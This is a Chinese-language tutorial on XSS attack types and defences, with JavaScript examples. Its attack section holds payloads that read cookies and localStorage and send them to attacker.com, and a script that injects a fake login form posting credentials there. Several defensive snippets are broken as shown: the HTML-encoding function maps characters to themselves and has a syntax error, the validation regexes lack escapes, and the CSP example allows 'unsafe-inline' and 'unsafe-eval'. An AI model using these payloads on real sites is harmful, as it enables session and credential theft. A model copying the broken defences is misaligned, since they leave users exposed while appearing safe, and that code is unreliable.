XSS 攻击与防护
中等 🟡前端安全
4 个标签
预计阅读时间:18 分钟
前端安全XSS跨站脚本攻击防护策略
XSS 攻击与防护
XSS (Cross-Site Scripting) 是一种常见的前端安全漏洞,攻击者通过注入恶意脚本到网页中,当用户浏览该页面时,恶意脚本会在用户的浏览器中执行。
🛡️ XSS 攻击类型
存储型 XSS:
•恶意脚本被存储在服务器数据库中
•当其他用户访问包含该脚本的页面时触发
•常见于论坛、评论系统、社交网络
•危害较大,影响范围广
反射型 XSS:
•恶意脚本通过 URL 参数传递
•服务器将参数反射回浏览器执行
•常见于搜索、错误页面
•通常需要用户点击恶意链接
DOM 型 XSS:
•恶意脚本在客户端执行
•不经过服务器
•利用 DOM 操作漏洞
•直接在浏览器中执行
💻 代码示例:XSS 攻击演示
javascriptCode
// 存储型 XSS
// 恶意评论
const maliciousComment = '<script>alert("XSS")</script>';
// 存储到数据库
saveComment(maliciousComment);
// 其他用户访问时
function displayComments() {
comments.forEach(comment => {
// 不安全的渲染
document.getElementById('comments').innerHTML = comment;
});
}
// 反射型 XSS
// 恶意 URL
const maliciousURL = 'https://example.com/search?q=<script>alert("XSS")</script>';
// 服务器反射
function search(q) {
return `Search results for: ${q}`;
}
// DOM 型 XSS
// 不安全的 DOM 操作
function updateContent() {
const userInput = getUserInput();
document.getElementById('content').innerHTML = userInput;
}
// 恶意输入
const maliciousInput = '<img src=x onerror="alert('XSS')">';
updateContent(maliciousInput);XSS 攻击危害
数据窃取:
•窃取用户 cookie
•窃取会话令牌
•窃取用户敏感信息
•钓鱼攻击
会话劫持:
•冒充用户身份
•执行未授权操作
•访问用户账户
•修改用户数据
网站破坏:
•篡改网页内容
•重定向到恶意网站
•植入恶意广告
•影响网站声誉
拒绝服务:
•消耗浏览器资源
•导致页面崩溃
•影响用户体验
•可能影响服务器
代码示例
数据窃取示例
javascriptCode
// 窃取 Cookie
const maliciousScript = `
<script>
// 窃取所有 cookie
const cookies = document.cookie;
// 发送到攻击者服务器
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ cookies }),
headers: { 'Content-Type': 'application/json' }
});
</script>
`;
// 窃取本地存储
const stealLocalStorage = `
<script>
const localStorageData = {};
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
localStorageData[key] = localStorage.getItem(key);
}
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ localStorageData }),
headers: { 'Content-Type': 'application/json' }
});
</script>
`;
// 钓鱼攻击
const phishingScript = `
<script>
// 创建虚假登录表单
const fakeForm = document.createElement('form');
fakeForm.method = 'POST';
fakeForm.action = 'https://attacker.com/steal-credentials';
const usernameInput = document.createElement('input');
usernameInput.name = 'username';
usernameInput.placeholder = 'Username';
const passwordInput = document.createElement('input');
passwordInput.name = 'password';
passwordInput.type = 'password';
passwordInput.placeholder = 'Password';
const submitButton = document.createElement('button');
submitButton.type = 'submit';
submitButton.textContent = 'Login';
fakeForm.appendChild(usernameInput);
fakeForm.appendChild(passwordInput);
fakeForm.appendChild(submitButton);
document.body.appendChild(fakeForm);
</script>
`;XSS 防护策略
输入验证:
•对用户输入进行过滤
•限制输入长度
•验证输入格式
•转义特殊字符
输出编码:
•HTML 实体编码:HTML实体编码是将特殊字符转换为HTML实体表示的方法,如小于号<转换为<、大于号>转换为>、引号"转换为"等,可以防止用户输入被解析为HTML代码,是防御XSS攻击的最基本方法,在将用户输入插入到HTML页面中时必须进行HTML实体编码,大多数现代前端框架默认会自动进行HTML编码
•JavaScript 编码:当用户输入需要插入到JavaScript代码中时,需要进行JavaScript编码,将特殊字符转换为Unicode转义序列,如单引号'转换为\u0027、双引号"转换为\u0022等,JavaScript编码可以防止用户输入突破字符串边界被执行,是防止XSS攻击的重要组成部分,在动态生成JavaScript代码时必须使用
•CSS 编码:当用户输入需要插入到CSS属性值中时,需要进行CSS编码,将特殊字符转换为CSS转义序列,如反斜杠\转换为\\、换行转换为\A等,CSS编码可以防止用户输入突破CSS属性值边界注入新的CSS规则或JavaScript,是防止XSS和CSS注入攻击的重要手段
•URL 编码:URL编码(Percent-encoding)是将特殊字符转换为URL安全格式的方法,将字符转换为%XX格式的十六进制表示,如空格转换为%20、中文转换为UTF-8编码的%XX格式等,URL编码用于将用户输入安全地插入到URL的查询参数或路径中,防止URL注入和参数污染攻击
内容安全策略 (CSP):
•限制脚本执行来源
•禁止内联脚本
•禁止 eval() 等危险函数
•配置 report-uri 监控攻击
HTTP Only Cookie:
•防止 JavaScript 访问 cookie
•减少 cookie 被窃取的风险
•提高会话安全性
现代框架防护:
•React:自动转义内容:React框架默认会对JSX中的内容进行HTML转义,防止XSS攻击,当使用{userInput}插入用户输入时,React会自动将特殊字符转换为HTML实体,只有使用dangerouslySetInnerHTML时需要手动处理转义,这是React的安全特性之一,但开发者仍需注意不要使用用户输入来构建动态组件名或属性名
•Vue:v-html 指令的安全使用:Vue的v-html指令用于渲染HTML内容,但存在XSS风险,因为v-html不会对HTML内容进行转义,如果HTML内容包含恶意脚本,可能会被执行,使用v-html时应该确保内容来源可信,或者使用DOMPurify等库对HTML进行净化,避免直接渲染用户输入的HTML内容
•Angular:内置 XSS 防护:Angular框架内置了强大的XSS防护机制,默认对所有数据绑定进行转义处理,Angular的编译器会对模板进行严格的安全检查,阻止危险的绑定方式,Angular还提供了DomSanitizer服务用于安全地处理需要插入原始HTML的场景,使用bypassSecurityTrustHtml等方法时必须确保内容已经过适当清理
•使用框架提供的安全 API
代码示例
输入验证示例
javascriptCode
// 使用 DOMPurify 清理 HTML
import DOMPurify from 'dompurify';
function sanitizeHTML(html) {
return DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em'],
ALLOWED_ATTR: []
});
}
// 使用示例
const userInput = '<script>alert("XSS")</script><p>Hello</p>';
const cleanHTML = sanitizeHTML(userInput);
console.log(cleanHTML); // '<p>Hello</p>'
// 验证输入格式
function validateInput(input, type) {
const patterns = {
email: /^[^s@]+@[^s@]+.[^s@]+$/,
url: /^https?://.+/,
username: /^[a-zA-Z0-9_]{3,20}$/
};
return patterns[type].test(input);
}
// 限制输入长度
function truncateInput(input, maxLength) {
return input.length > maxLength ? input.substring(0, maxLength) : input;
}
// 使用示例
const email = 'user@example.com';
if (validateInput(email, 'email')) {
console.log('Valid email');
} else {
console.log('Invalid email');
}输出编码示例
javascriptCode
// HTML 实体编码
function encodeHTML(str) {
return str.replace(/[&<>"']/g, function(m) {
return {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
}[m];
});
}
// JavaScript 编码
function encodeJS(str) {
return str.replace(/[\u0000-\uFFFF]/g, function(m) {
return '\\u' + ('0000' + m.charCodeAt(0).toString(16)).slice(-4);
});
}
// URL 编码
function encodeURL(str) {
return encodeURIComponent(str);
}
// 使用示例
const userInput = '<script>alert("XSS")</script>';
const safeHTML = encodeHTML(userInput);
console.log(safeHTML); // '<script>alert("XSS")</script>'
// React 自动转义
function ReactComponent({ content }) {
// React 自动转义 content
return <div>{content}</div>;
}
// 使用 dangerouslySetInnerHTML(不推荐)
function UnsafeComponent({ content }) {
// 不安全,需要手动转义
return <div dangerouslySetInnerHTML={{ __html: content }} />;
}
// 安全使用 dangerouslySetInnerHTML
function SafeComponent({ content }) {
const cleanHTML = DOMPurify.sanitize(content);
return <div dangerouslySetInnerHTML={{ __html: cleanHTML }} />;
}CSP 配置示例
htmlCode
<!-- HTTP 头配置 -->
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval' https://trusted.cdn.com;
style-src 'self' 'unsafe-inline' https://trusted.cdn.com;
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self' https://trusted.cdn.com;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
report-uri /csp-report
">
<!-- 服务器配置示例 -->
<!-- Nginx -->
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' https://trusted.cdn.com;
style-src 'self' https://trusted.cdn.com;
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self' https://trusted.cdn.com;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
report-uri /csp-report
";
<!-- Express.js -->
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://trusted.cdn.com"],
styleSrc: ["'self'", "https://trusted.cdn.com"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.example.com"],
fontSrc: ["'self'", "https://trusted.cdn.com"],
objectSrc: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
frameAncestors: ["'none'"],
reportUri: "/csp-report"
}
}));HTTP Only Cookie 示例
javascriptCode
// 设置 HTTP Only Cookie
res.cookie('sessionId', sessionId, {
httpOnly: true, // 防止 JavaScript 访问
secure: true, // 只通过 HTTPS 传输
sameSite: 'strict', // 防止 CSRF 攻击
maxAge: 3600000, // 1 小时过期
path: '/'
});
// Express.js 示例
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 3600000
}
}));
// Next.js 示例
export async function setSessionCookie(res, sessionId) {
res.setHeader('Set-Cookie', [
`sessionId=${sessionId}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600`
]);
}防护最佳实践
•始终对用户输入进行验证和清理
•使用框架提供的安全 API,避免手动拼接 HTML
•配置严格的 CSP 策略
•使用 HTTP Only 和 Secure Cookie
•定期进行安全审计和渗透测试
•保持依赖库的更新
•使用安全的第三方库
•实施内容安全策略监控
•教育开发团队安全意识